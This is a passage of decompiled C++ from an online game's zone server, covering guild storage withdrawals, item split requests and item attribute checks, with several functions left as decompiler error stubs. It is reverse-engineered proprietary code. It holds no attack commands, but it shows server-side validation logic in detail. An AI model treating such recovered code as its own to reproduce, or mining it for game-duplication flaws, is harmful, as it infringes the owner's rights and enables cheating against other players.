*)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v21); } ItemInform_ActionItem::sii_Export(this, (ItemTotalInformation *)&v30); ItemInform_ActionItem::sii_Export((ItemInform_ActionItem *)v28, &iti); v22 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 1916))(v3); v23 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 1916))(v3); (*(void (__thiscall **)(int, _DWORD, int, ItemTotalInformation *, int, int))(*(_DWORD *)v22 + 52))( v22, *(_WORD *)(v23 + 4), a3, &iti, a3, v5); v14 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 1916))(v3); v15 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 1916))(v3); v16 = (ItemTotalInformation *)&v30; } (*(void (__thiscall **)(int, _DWORD, int, ItemTotalInformation *, int, int))(*(_DWORD *)v14 + 52))( v14, *(_WORD *)(v15 + 4), v5, v16, v5, a3); v24 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 1916))(v3); ++*(_WORD *)(v24 + 4); } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v3 + 776))(v3, 12, 12, 581); } v33 = -1; FunctionEntarance::_FunctionEntarance((FunctionEntarance *)&v29); LABEL_24: __security_check_cookie(v32); } //----- (004E22B0) -------------------------------------------------------- #error "4E22B0: undefined or illegal type '#331' (funcsize=230)" //----- (004E2600) -------------------------------------------------------- #error "4E2600: undefined or illegal type '#440' (funcsize=884)" //----- (004E3250) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_STORAGE_WITHDRAW_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 bool v5; // zf@1 char *v6; // edi@1 int v7; // eax@7 unsigned __int16 *v8; // ST0C_4@8 unsigned int v9; // eax@8 GuildStorage::GuildStorageElement *v10; // ebp@8 int v11; // eax@11 char v12; // al@21 int v13; // eax@22 int v14; // edi@23 int v15; // eax@23 char *v16; // edi@23 char v17; // al@23 ZoneBaseSession *v18; // eax@24 int v19; // eax@25 char *v20; // [sp-4h] [bp-24h]@6 FunctionEntarance _; // [sp+10h] [bp-10h]@1 int v22; // [sp+1Ch] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_STORAGE_WITHDRAW_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_STORAGE_WITHDRAW_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_STORAGE_WITHDRAW_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = (_S13_1 & 1) == 0; v6 = gpp.pp_Buffer; v22 = 0; *(_WORD *)gpp.pp_Buffer = 12327; if ( v5 ) { _S13_1 |= 1u; cmc_67.cmc_AllowMode = 70; atexit(_E14_11); } if ( !((1 << **((_BYTE **)v4 + 929)) & cmc_67.cmc_AllowMode) || (unsigned __int8)(*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14442) + 16))((char *)v4 + 57768) ) { *((_WORD *)v6 + 5) = 5249; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v7 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v7 + 12))(v7, v4, &gpp); v22 = -1; v20 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_STORAGE_WITHDRAW_REQ"; } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_STORAGE_WITHDRAW_REQ : Packet Too Long", 12); v22 = -1; v20 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_STORAGE_WITHDRAW_REQ"; } goto LABEL_17; } v8 = (unsigned __int16 *)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2004))(v4); v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1980))(v4); v10 = GuildStorage::GuildStorageManager::gsm_FindStorage(&gldstoramanager, v9, v8); if ( !v10 ) { *((_WORD *)v6 + 5) = 5250; if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { LABEL_10: AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_STORAGE_WITHDRAW_REQ : Packet Too Long", 12); LABEL_16: v22 = -1; v20 = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_STORAGE_WITHDRAW_REQ"; LABEL_17: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v20); return; } v11 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 760))(v4); LABEL_15: (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v11 + 12))(v11, v4, &gpp); goto LABEL_16; } if ( !(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1456))(v4) ) { *((_WORD *)v6 + 5) = 5252; if ( !ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) goto LABEL_10; v11 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); goto LABEL_15; } if ( *(_QWORD *)(netcmd + 2) > GuildStorage::GuildStorageElement::gse_GetMoney(v10) ) *(_QWORD *)(netcmd + 2) = GuildStorage::GuildStorageElement::gse_GetMoney(v10); if ( *(_QWORD *)(netcmd + 2) ) { v14 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1916))(v4); v15 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1916))(v4); (*(void (__thiscall **)(int, _DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v14 + 56))( v14, *(_WORD *)(v15 + 4), *(_DWORD *)(netcmd + 2), *(_DWORD *)(netcmd + 6), 1); v16 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13428; *((_DWORD *)v16 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_WORD *)v16 + 1) = *((_WORD *)v4 + 2); *(_DWORD *)(v16 + 10) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1980))(v4); *(_DWORD *)(v16 + 14) = *(_DWORD *)(netcmd + 2); *(_DWORD *)(v16 + 18) = *(_DWORD *)(netcmd + 6); *((_WORD *)v16 + 4) = *(_WORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4) + 4); v17 = ProtocolPacket::pp_SetPacketLen(&gpp, 22); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v17, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_STORAGE_WITHDRAW_REQ : Packet Too Long", 22) ) { v18 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v18); } v19 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1916))(v4); ++*(_WORD *)(v19 + 4); } else { *((_WORD *)v6 + 5) = 5251; v12 = ProtocolPacket::pp_SetPacketLen(&gpp, 12); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v12, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_GUILD_STORAGE_WITHDRAW_REQ : Packet Too Long", 12) ) { v13 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 760))(v4); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v13 + 12))(v13, v4, &gpp); } } v22 = -1; FunctionEntarance::_FunctionEntarance(&_); } //----- (004E35A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildStorageWithdrawAck(void *this, int withdraw) { void *v2; // edi@1 int v3; // edx@1 unsigned __int16 *v4; // ST08_4@1 unsigned int v5; // eax@1 GuildStorage::GuildStorageElement *v6; // eax@1 GuildStorage::GuildStorageElement *v7; // ebx@1 int v8; // eax@3 int v9; // ST04_4@4 DebugLogging *v10; // eax@4 DebugLogging *v11; // eax@4 __int64 v12; // ST1C_8@5 unsigned __int64 v13; // kr00_8@5 char *v14; // eax@5 int v15; // eax@7 char *v16; // eax@8 int v17; // esi@8 int v18; // eax@8 int v19; // eax@9 int v20; // eax@11 char *v21; // [sp-4h] [bp-5Ch]@8 GuildStorage::GuildStorageElement *guildstorage; // [sp+18h] [bp-40h]@1 PROTO_NC_GUILD_STORAGEWITHDRAW_RNG tempring; // [sp+20h] [bp-38h]@8 unsigned int v24; // [sp+48h] [bp-10h]@13 int v25; // [sp+54h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_GuildStorageWithdrawAck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_GuildStorageWithdrawAck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)v2; v25 = 0; v4 = (unsigned __int16 *)(*(int (__thiscall **)(void *))(v3 + 2004))(v2); v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1980))(v2); v6 = GuildStorage::GuildStorageManager::gsm_FindStorage(&gldstoramanager, v5, v4); v7 = v6; guildstorage = v6; if ( *(_WORD *)(withdraw + 16) == 5248 && v6 ) { v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1916))(v2); if ( !(unsigned __int8)(*(int (__thiscall **)(int, void *, _DWORD, _DWORD))(*(_DWORD *)v8 + 24))( v8, v2, *(_WORD *)(withdraw + 6), 0) ) { v9 = *(_WORD *)(withdraw + 6); v10 = DebugLogging::operator<<(&LockIndexLog, "ShineObjectClass::ShinePlayer::so_ply_GuildStorageWithdrawAck : "); v11 = DebugLogging::operator<<(v10, v9); DebugLogging::operator<<(v11, &deb_LF); } v12 = *(_QWORD *)(withdraw + 8); v13 = GuildStorage::GuildStorageElement::gse_GetMoney(v7) - v12; GuildStorage::GuildStorageElement::gse_SetMoney(guildstorage, v12); v14 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12327; *(_DWORD *)(v14 + 2) = *(_DWORD *)(withdraw + 8); *(_DWORD *)(v14 + 6) = *(_DWORD *)(withdraw + 12); *((_WORD *)v14 + 5) = *(_WORD *)(withdraw + 16); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v15 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v15 + 12))(v15, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_GuildStorageWithdrawAck : Packet Too Long", 12); } v16 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29843; v17 = (int)(v16 + 2); v16[2] = LOBYTE(ZoneServer::zs_worlddata(&zoneserver)->nZoneNo); *(_WORD *)(v17 + 1) = *((_WORD *)v2 + 2); *(_DWORD *)(v17 + 3) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); *(_DWORD *)(v17 + 7) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1980))(v2); *(_BYTE *)(v17 + 11) = 2; *(_QWORD *)(v17 + 32) = v13; v18 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1352))(v2); *(_DWORD *)(v17 + 14) = *(_DWORD *)v18; *(_DWORD *)(v17 + 18) = *(_DWORD *)(v18 + 4); *(_DWORD *)(v17 + 22) = *(_DWORD *)(v18 + 8); *(_DWORD *)(v17 + 26) = *(_DWORD *)(v18 + 12); *(_WORD *)(v17 + 30) = -1; *(_BYTE *)(v17 + 12) = 0; ZoneConnectSession::zcs_Send(&zoneconnect, &gpp, 42); memcpy(&tempring, (const void *)v17, sizeof(tempring)); GuildStorage::GuildStorageManager::gsm_SendWithdraw2Member(&gldstoramanager, &tempring); v21 = "ShineObjectClass::ShinePlayer::so_ply_GuildStorageWithdrawAck"; } else { v19 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1916))(v2); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v19 + 32))(v19, *(_WORD *)(withdraw + 6)); *(_WORD *)gpp.pp_Buffer = 12327; *(_WORD *)(withdraw + 16) = 5253; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 12) ) { v20 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v20 + 12))(v20, v2, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_GuildStorageWithdrawAck : Packet Too Long", 12); } v21 = "ShineObjectClass::ShinePlayer::so_ply_GuildStorageWithdrawAck"; } --funcallanalizer.fca_stackpoint; v25 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v21); __security_check_cookie(v24); } //----- (004E3860) -------------------------------------------------------- char __thiscall ItemDataBox::idb_NoSellItem(ItemDataBox *this, unsigned __int16 item) { ItemInfo *v2; // eax@2 char result; // al@3 if ( item < this->idb_maxItemhandle && (v2 = this->idb_index[item].data) != 0 ) result = v2->NoSell; else result = 1; return result; } //----- (004E3890) -------------------------------------------------------- #error "4E3890: undefined or illegal type '#440' (funcsize=139)" //----- (004E3A80) -------------------------------------------------------- #error "4E3A80: undefined or illegal type '#440' (funcsize=193)" //----- (004E3D30) -------------------------------------------------------- #error "4E3D30: undefined or illegal type '#440' (funcsize=309)" //----- (004E4110) -------------------------------------------------------- #error "4E4110: undefined or illegal type '#331' (funcsize=80)" //----- (004E4230) -------------------------------------------------------- #error "4E4230: undefined or illegal type '#331' (funcsize=80)" //----- (004E4350) -------------------------------------------------------- #error "4E4350: undefined or illegal type '#331' (funcsize=68)" //----- (004E4440) -------------------------------------------------------- #error "4E4440: undefined or illegal type '#331' (funcsize=138)" //----- (004E4610) -------------------------------------------------------- #error "4E4610: undefined or illegal type '#331' (funcsize=72)" //----- (004E4710) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_SPLIT_REQ(void *sp, int netcmd, int len, __int16 handle) { void *v4; // ebp@1 int v5; // eax@4 int v6; // esi@4 ITEM_INVEN *v7; // ebx@8 int v8; // eax@10 int v9; // eax@11 int v10; // edx@12 unsigned int v11; // eax@17 GuildStorage::GuildStorageElement *v12; // esi@17 int v13; // edx@20 void *v14; // ecx@22 unsigned int v15; // esi@25 unsigned __int16 *v16; // eax@27 void *v17; // eax@27 void *v18; // eax@31 int v19; // eax@32 int v20; // esi@33 unsigned int v21; // esi@40 unsigned __int16 *v22; // eax@41 GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *v23; // esi@41 int v24; // eax@43 int (__stdcall **v25)(_DWORD); // eax@44 int v26; // eax@44 int v27; // edx@46 int v28; // eax@46 void *v29; // eax@47 int v30; // edx@47 unsigned __int16 *v31; // esi@47 ItemDataBox::ItemDataBoxIndex *v32; // eax@47 __int16 v33; // ax@50 void *v34; // ecx@54 __int16 v35; // ax@55 int v36; // edx@71 int v37; // eax@71 unsigned int v38; // ecx@71 int v39; // ecx@73 int v40; // eax@73 int v41; // ecx@73 CServerInfo::MY_SERVER *v42; // eax@73 char *v43; // esi@73 int v44; // eax@73 int v45; // ecx@73 unsigned int v46; // edx@73 void *v47; // edi@73 int v48; // eax@73 int v49; // eax@73 char v50; // al@73 ZoneBaseSession *v51; // eax@74 int v52; // eax@75 int v53; // eax@75 int v54; // edx@75 unsigned __int16 v55; // cx@75 unsigned __int16 v56; // dx@77 int v57; // ebx@77 int v58; // eax@77 int v59; // edi@77 int v60; // edx@77 unsigned int v61; // eax@77 int v62; // ecx@77 unsigned __int16 v63; // dx@77 int v64; // esi@77 int v65; // eax@77 int v66; // edx@77 ItemTotalInformation v67; // [sp+6Ch] [bp-1B0h]@77 int v68; // [sp+70h] [bp-1ACh]@77 int v69; // [sp+74h] [bp-1A8h]@77 int v70; // [sp+78h] [bp-1A4h]@77 int v71; // [sp+7Ch] [bp-1A0h]@77 int v72; // [sp+80h] [bp-19Ch]@77 int v73; // [sp+84h] [bp-198h]@77 int v74; // [sp+88h] [bp-194h]@77 int v75; // [sp+8Ch] [bp-190h]@77 int v76; // [sp+90h] [bp-18Ch]@77 int v77; // [sp+94h] [bp-188h]@77 int v78; // [sp+98h] [bp-184h]@77 int v79; // [sp+9Ch] [bp-180h]@77 int v80; // [sp+A0h] [bp-17Ch]@77 int v81; // [sp+A4h] [bp-178h]@77 int v82; // [sp+A8h] [bp-174h]@77 int v83; // [sp+ACh] [bp-170h]@77 int v84; // [sp+B0h] [bp-16Ch]@77 int v85; // [sp+B4h] [bp-168h]@77 int v86; // [sp+B8h] [bp-164h]@77 int v87; // [sp+BCh] [bp-160h]@77 int v88; // [sp+C0h] [bp-15Ch]@77 int v89; // [sp+C4h] [bp-158h]@77 int v90; // [sp+C8h] [bp-154h]@77 int v91; // [sp+CCh] [bp-150h]@77 int v92; // [sp+D0h] [bp-14Ch]@73 ITEM_INVEN *v93; // [sp+D4h] [bp-148h]@44 unsigned int v94; // [sp+D8h] [bp-144h]@5 FunctionEntarance _; // [sp+ECh] [bp-130h]@1 void *boxfrom; // [sp+F0h] [bp-12Ch]@11 unsigned int nGuildNo; // [sp+F4h] [bp-128h]@33 int v98; // [sp+F8h] [bp-124h]@4 void *iac; // [sp+FCh] [bp-120h]@54 int regnumfrom; // [sp+100h] [bp-11Ch]@11 DiceTaiSai *gldacademyrewardstorage; // [sp+104h] [bp-118h]@27 SHINE_INVEN_SLOT_INFO to_info; // [sp+108h] [bp-114h]@77 int orglot; // [sp+118h] [bp-104h]@71 SHINE_INVEN_SLOT_INFO from_info; // [sp+11Ch] [bp-100h]@77 ItemTotalInformation splited; // [sp+12Ch] [bp-F0h]@73 ItemTotalInformation fromitem; // [sp+19Ch] [bp-80h]@73 unsigned int cookie; // [sp+20Ch] [bp-10h]@87 int v108; // [sp+218h] [bp-4h]@1 v4 = sp; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_SPLIT_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_SPLIT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_ITEM_SPLIT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v108 = 0; if ( !(_S4_13 & 1) ) { _S4_13 |= 1u; cmc_69.cmc_AllowMode = 86; atexit(_E5_58); } if ( !((1 << **((_BYTE **)v4 + 929)) & cmc_69.cmc_AllowMode) || (v5 = *((_DWORD *)v4 + 14442), v6 = (int)((char *)v4 + 57768), v98 = (int)((char *)v4 + 57768), (unsigned __int8)(*(int (__thiscall **)(char *))(v5 + 16))((char *)v4 + 57768)) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 14, 1090); v108 = -1; v94 = (unsigned int)"ShineObjectClass::ShinePlayer::sp_NC_ITEM_SPLIT_REQ"; LABEL_86: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, (char *)v94); goto LABEL_87; } if ( *((_DWORD *)v4 + 1859) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 14, 1090); v108 = -1; LABEL_85: v94 = (unsigned int)"ShineObjectClass::ShinePlayer::sp_NC_ITEM_SPLIT_REQ"; goto LABEL_86; } v7 = (ITEM_INVEN *)(netcmd + 2); if ( (unsigned __int8)(*(int (__thiscall **)(char *, int))(*(_DWORD *)v6 + 8))((char *)v4 + 57768, netcmd + 2) || (unsigned __int8)(*(int (__thiscall **)(char *, int))(*(_DWORD *)v6 + 8))((char *)v4 + 57768, netcmd + 4) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v4 + 776))(v4, 12, 14, 1090); v108 = -1; goto LABEL_85; } v8 = (unsigned int)v7->Inven >> 10; switch ( v8 ) { case 9: v9 = *(_DWORD *)v4; boxfrom = (char *)v4 + 35568; regnumfrom = (*(int (__thiscall **)(void *))(v9 + 836))(v4); goto LABEL_32; case 6: v10 = *(_DWORD *)v4; if ( !(*((_BYTE *)v4 + 23324) & 0x10) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(v10 + 776))(v4, 12, 14, 1091); goto LABEL_79; } boxfrom = (char *)v4 + 69448; regnumfrom = (*(int (__thiscall **)(void *))(v10 + 840))(v4); goto LABEL_32; case 4: if ( *((_WORD *)v4 + 34114) == -1 ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 14, 1100); goto LABEL_79; } v94 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2004))(v4); v11 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1980))(v4); v12 = GuildStorage::GuildStorageManager::gsm_FindStorage(&gldstoramanager, v11, (unsigned __int16 *)v94); if ( !v12 || v12->gse_Guild != (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1980))(v4) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 14, 582); goto LABEL_79; } if ( !(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1456))(v4) ) goto LABEL_79; v13 = *(_DWORD *)v4; boxfrom = v12; regnumfrom = (*(int (__thiscall **)(void *))(v13 + 1980))(v4); goto LABEL_32; case 0: v14 = v4; if ( *((_WORD *)v4 + 34115) == -1 ) { LABEL_23: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v14, 12, 14, 589); } else { if ( !(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2044))(v4) && (v15 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1980))(v4)) != 0 ) { v16 = (unsigned __int16 *)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2004))(v4); v17 = GuildAcademyRewardStorage::GuildAcademyRewardStorageManager::garsm_FindStorage( &gldacademyrewardstoramanager, v15, v16); gldacademyrewardstorage = (DiceTaiSai *)v17; if ( v17 && GuildAcademyRewardStorage::GuildAcademyRewardStorageElement::garse_GuildCheck( (GuildAcademyRewardStorage::GuildAcademyRewardStorageElement *)v17, v15) ) { if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2072))(v4) ) { MoveManager::MoveManager(gldacademyrewardstorage); boxfrom = v18; regnumfrom = v15; LABEL_32: v19 = (unsigned int)*(_WORD *)(netcmd + 4) >> 10; switch ( v19 ) { case 9: v20 = (int)((char *)v4 + 35568); nGuildNo = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); goto LABEL_44; case 6: if ( !(*((_BYTE *)v4 + 23324) & 0x10) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 14, 1091); break; } v20 = (int)((char *)v4 + 69448); nGuildNo = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 840))(v4); LABEL_44: v25 = *(int (__stdcall ***)(_DWORD))boxfrom; v94 = (v7->Inven & 0x3FF) + 10000 * ((unsigned int)v7->Inven >> 10); v93 = (ITEM_INVEN *)"ShineObjectClass::ShinePlayer::sp_NC_ITEM_SPLIT_REQ : Invalid 'from' cell"; v26 = ((int (*)(void))v25[2])(); if ( AssertClass::operator__( &shineassert, (v7->Inven & 0x3FF) < v26, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_SPLIT_REQ : Invalid 'from' cell", v94) || (v27 = *(_DWORD *)v20, v94 = (v7->Inven & 0x3FF) + 10000 * ((unsigned int)v7->Inven >> 10), v93 = (ITEM_INVEN *)"ShineObjectClass::ShinePlayer::sp_NC_ITEM_SPLIT_REQ : Invalid 'to' cell", v28 = (*(int (__thiscall **)(int, char *))(v27 + 4))(v20, (char *)v4 + 91688), AssertClass::operator__( &shineassert, (*(_WORD *)(netcmd + 4) & 0x3FF) < v28, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_SPLIT_REQ : Invalid 'to' cell", v94)) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 14, 1093); break; } v29 = (void *)(**(int (__stdcall ***)(_DWORD))boxfrom)(v7->Inven & 0x3FF); v30 = *(_DWORD *)v20; boxfrom = v29; gldacademyrewardstorage = (DiceTaiSai *)(*(int (__thiscall **)(int, int))v30)( v20, *(_WORD *)(netcmd + 4) & 0x3FF); v31 = (unsigned __int16 *)((char *)boxfrom + 8); v32 = ItemDataBox::operator__(&itemdatabox, *((_WORD *)boxfrom + 4)); if ( AssertClass::operator__( &shineassert, v32 != 0, "ShineObjectClass::ShinePlayer::sp_NC_ITEM_SPLIT_REQ : try to move empty cell", 0) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 14, 1096); break; } if ( *v31 != -1 ) { v33 = *(_WORD *)(netcmd + 4) >> 10; if ( v33 == 6 || !v33 ) { if ( ItemDataBox::idb_NoStorageItem(&itemdatabox, *v31) ) goto LABEL_53; } } v34 = (void *)*(_WORD *)&gldacademyrewardstorage->m_Dice[0].nDominoCnt; iac = v34; if ( (_WORD)v34 == -1 || (v35 = v7->Inven >> 10, v35 != 6) && v35 ) goto LABEL_60; if ( ItemDataBox::idb_NoStorageItem(&itemdatabox, (unsigned __int16)v34) ) goto LABEL_58; LOWORD(v34) = (_WORD)iac; LABEL_60: if ( *v31 == -1 || *(_BYTE *)(netcmd + 5) & 0xFC ) goto LABEL_64; if ( ItemDataBox::idb_NoTrade(&itemdatabox, *v31) ) { LABEL_53: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 14, 1095); } else { LOWORD(v34) = (_WORD)iac; LABEL_64: if ( (_WORD)v34 != -1 && !(*(_BYTE *)(netcmd + 3) & 0xFC) && ItemDataBox::idb_NoTrade(&itemdatabox, (unsigned __int16)v34) || ItemDataBox::idb_BelongedItem(&itemdatabox, *v31) && (*(_WORD *)(netcmd + 4) & 0xFC00) != 9216 ) { LABEL_58: (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))( v4, 12, 14, 1095); } else { if ( (_WORD)iac == -1 ) { v36 = **((_DWORD **)boxfrom + 28); iac = (void *)*((_DWORD *)boxfrom + 28); v37 = (*(int (__stdcall **)(unsigned __int16 *))(v36 + 24))(v31); v38 = *(_DWORD *)(netcmd + 6); orglot = v37; if ( v38 && v38 < v37 ) { ItemLotInspector::ili_Set((ItemLotInspector *)((char *)v4 + 7436), 1, *v31); v39 = *(_DWORD *)(netcmd + 6); v40 = 248 * *((_DWORD *)v4 + 5828); v94 = (unsigned int)((char *)boxfrom + 8); v93 = (ITEM_INVEN *)(netcmd + 2); *(_DWORD *)((char *)v4 + v40 + 7676) = v39; ItemLotInspector::ili_SetFrom( (ItemLotInspector *)((char *)v4 + 7436), 0, v93, (SHINE_ITEM_STRUCT *)v94); ItemLotInspector::ili_SetTo((ItemLotInspector *)((char *)v4 + 7436), 0, v7); ItemLotInspector::ili_SetTo( (ItemLotInspector *)((char *)v4 + 7436), 1, (ITEM_INVEN *)(netcmd + 4)); ItemLotInspector::ili_TotalLotFrom((ItemLotInspector *)((char *)v4 + 7436), (#331 *)v4); memcpy(&fromitem, boxfrom, 0x6Cu); v41 = *(_DWORD *)(netcmd + 6); *(_WORD *)((char *)&fromitem.iti_itemstruct.itemattr.binditem.portal[9].y + 1) = *((_WORD *)boxfrom + 54); BYTE3(fromitem.iti_itemstruct.itemattr.binditem.portal[9].y) = *((_BYTE *)boxfrom + 110); (*(void (__thiscall **)(void *, SHINE_ITEM_STRUCT *, int))(*(_DWORD *)iac + 28))( iac, &fromitem.iti_itemstruct, orglot - v41); v94 = ZoneServer::zs_worlddata(&zoneserver)->nWorldNo; v42 = ZoneServer::zs_worlddata(&zoneserver); ItemTotalInformation::iti_mkregnum(&splited, 4, v42->nZoneNo, v94); splited.iti_itemstruct.itemid = fromitem.iti_itemstruct.itemid; (*(void (__thiscall **)(void *, SHINE_ITEM_STRUCT *, _DWORD))(*(_DWORD *)iac + 28))( iac, &splited.iti_itemstruct, *(_DWORD *)(netcmd + 6)); v43 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13364; *((_WORD *)v43 + 1) = *((_WORD *)v4 + 2); v44 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); v45 = regnumfrom; v46 = nGuildNo; *((_DWORD *)v43 + 1) = v44; *((_DWORD *)v43 + 2) = v45; *((_DWORD *)v43 + 3) = v46; *((_WORD *)v43 + 8) = *((_WORD *)v4 + 28886); *((_WORD *)v43 + 33) = *(_WORD *)(netcmd + 6); v47 = boxfrom; *((_WORD *)v43 + 9) = splited.iti_itemstruct.itemid; *((_DWORD *)v43 + 5) = *(_DWORD *)v47; *((_DWORD *)v43 + 6) = 